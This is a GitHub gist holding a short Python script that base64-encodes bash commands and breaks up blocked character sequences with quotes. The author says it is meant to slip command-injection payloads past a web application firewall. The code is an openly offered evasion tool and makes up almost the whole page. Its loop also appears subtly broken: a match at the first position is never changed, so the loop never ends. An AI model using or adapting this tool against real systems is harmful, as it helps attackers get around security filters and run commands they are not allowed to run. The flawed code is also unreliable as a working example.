Skip to content

Instantly share code, notes, and snippets.

@bgrewell
Last active May 11, 2018 01:06
Show Gist options
  • Save bgrewell/dec9039cda0a899321167f040b6e898e to your computer and use it in GitHub Desktop.
Save bgrewell/dec9039cda0a899321167f040b6e898e to your computer and use it in GitHub Desktop.
bash64coder.py is a simple python script for creating base64 encoded payloads that have any undesirable character sequences quoted out. It was written as a tool for generating base64 encoded bash payload that could pass through a WAF that was filtering out commands (and subsequently would also block any base64 strings that happened to contain so…
import base64
SEQUENCE_FILE = "blocked_commands.txt"
filtered_sequences = [
]
def LoadFilteredSequences(wordlist):
'''
Loads a list of character sequences which aren't allowed in our final output
'''
try:
raw_list = open(wordlist, 'r')
lines = raw_list.readlines()
for line in lines:
filtered_sequences.append(line.strip())
raw_list.close()
except (OSError, IOError) as err:
print("ERROR Loading sequences file: {}. Sequence checking will be disabled".format(err))
def EncodeCommand(cmd):
'''
Takes a command and encodes it as a base64 encoded string.
'''
encoded_cmd = base64.b64encode(cmd)
return encoded_cmd
def BuildSafeCommand(cmd):
'''
Takes a system command and performs some recursive, self-unwrapping encodes until it passes a filter test
'''
encoded_cmd = EncodeCommand(cmd)
for sequence in filtered_sequences:
sequence = sequence.lower()
while sequence in encoded_cmd.lower():
start = encoded_cmd.lower().find(sequence)
if start > 0:
encoded_cmd = encoded_cmd[:start] + '"' + encoded_cmd[start:start+1] + '"' + encoded_cmd[start+1:]
return encoded_cmd
def CommandPromptLoop():
'''
Presents the user with a nice command prompt to enter repeated commands in
'''
cmd = ""
while not cmd.lower() == 'exit':
cmd = raw_input("command >")
print(BuildSafeCommand(cmd))
if __name__ == '__main__':
print("[+] Command Encoder - Simple Base64 Command Encoding with Quote Escaping of 'Bad' Sequences")
print("[+] Type the command you want to encode at the 'command >' prompt")
print("[+] To quit just type 'exit' at the prompt")
print("===========================================================================================")
LoadFilteredSequences(SEQUENCE_FILE)
CommandPromptLoop()
@bgrewell
Copy link
Author

This is just a quick and dirty script, there is hardly any error handling and it has only been tested to the extent that it worked for the task it was written for. This is not a piece of code that I spent time on so please don't use as an example of good coding style or hygiene. Use at your own risk, no warranties given or implied.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment